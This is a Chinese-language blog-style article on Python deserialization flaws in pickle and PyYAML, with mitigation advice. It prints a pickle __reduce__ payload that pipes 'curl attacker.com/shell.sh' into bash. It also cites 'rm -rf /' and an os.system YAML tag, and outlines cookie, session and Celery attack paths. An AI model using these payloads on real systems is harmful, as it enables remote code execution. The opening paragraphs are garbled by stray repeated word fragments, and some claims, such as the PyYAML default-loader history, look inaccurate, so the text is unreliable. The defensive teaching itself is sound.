python反序列化漏洞

2021年12月，反序Log4j漏洞把Java生态搅得天翻地覆。列化漏洞同一周，反序我负责的列化漏洞一个Python Web项目被扫出了pickle反序列化入口——一个看起来人畜无害的“记住我”功能。攻击者只需要构造一个Base64字符串塞进Cookie，反序就能在服务器上执行任意命令。列化漏洞这不是反序什么冷门技巧，Python反序列化漏洞至今仍然是列化漏洞Web安全领域最容易被低估的杀手之一。

Python里跟反序列化相关的反序模块不少，但真正高频出事的列化漏洞就三个：pickle、PyYAML、反序jsonpickle。列化漏洞其中pickle是反序重灾区。它的列化漏洞设计目标从来就不是安全传输数据——官方文档白纸黑字写着“永远不要反序列化不可信来源的数据”。问题是反序，很多人根本不看文档。

pickle的__reduce__魔法方法是漏洞的核心。当你调用pickle.loads()时，解释器会按照字节流里的指令还原对象。如果字节流里藏了一个__reduce__返回(os.system, ('rm -rf /',))的类实例，那反序列化的瞬间命令就执行了。不需要什么复杂的内存布局绕过，不需要堆喷射。一行代码的事。

import pickle, os class Evil: def __reduce__(self): return (os.system, ('curl attacker.com/shell.sh | bash',)) payload = pickle.dumps(Evil()) # 把payload发给目标，目标只要pickle.loads就中招

真实场景里攻击面比这隐蔽得多。Django的签名Cookie用了itsdangerous做HMAC校验，但如果SECRET_KEY泄露或者被弱口令爆破，攻击者就能把签名后的pickle数据塞回去。Flask的session同理。Celery的任务队列如果broker没做认证，直接往队列里扔一个恶意pickle序列化的任务对象，worker消费的时候就是RCE。这些都不是理论推演，是我在渗透测试里真实打通过的路径。

PyYAML的问题稍微不同。老版本的yaml.load()默认走的是FullLoader甚至UnsafeLoader，支持!!python/object/apply标签。一个配置文件里写!!python/object/apply:os.system ["id"]，加载即执行。2017年之后PyYAML把默认Loader改成了SafeLoader，但大量存量代码还在显式指定Loader=yaml.Loader，等于自己把门打开了。

防御手段其实不复杂，难的是执行到位。第一，永远不要反序列化不可信数据——这句话说起来像废话，但很多开发者根本意识不到“用户可控的Cookie”就是不可信数据。第二，如果非要序列化传输，用json或者msgpack替代pickle，它们只支持基础类型，没有代码执行能力。第三，PyYAML统一用yaml.safe_load()，别碰yaml.load()。第四，如果架构上必须用pickle，加HMAC签名，密钥用secrets.token_bytes(32)生成，别用"secret"这种。

有个细节值得单独说：很多人以为pickle.loads()只会在显式调用的地方触发。实际上Python标准库里不少模块内部会调pickle，比如multiprocessing、shelve、sqlite3的适配器。你引入一个第三方库，它可能在某个角落悄悄pickle.loads了来自网络的数据。这种间接攻击面最难排查，也最致命。

我自己的习惯是：代码审查时看到pickle.load、yaml.load、cPickle.load这几个关键词，直接标红。不是每个都一定是漏洞，但每个都值得问一句“数据从哪来的”。安全这件事，宁可过度怀疑，也别等出了事再回头翻日志。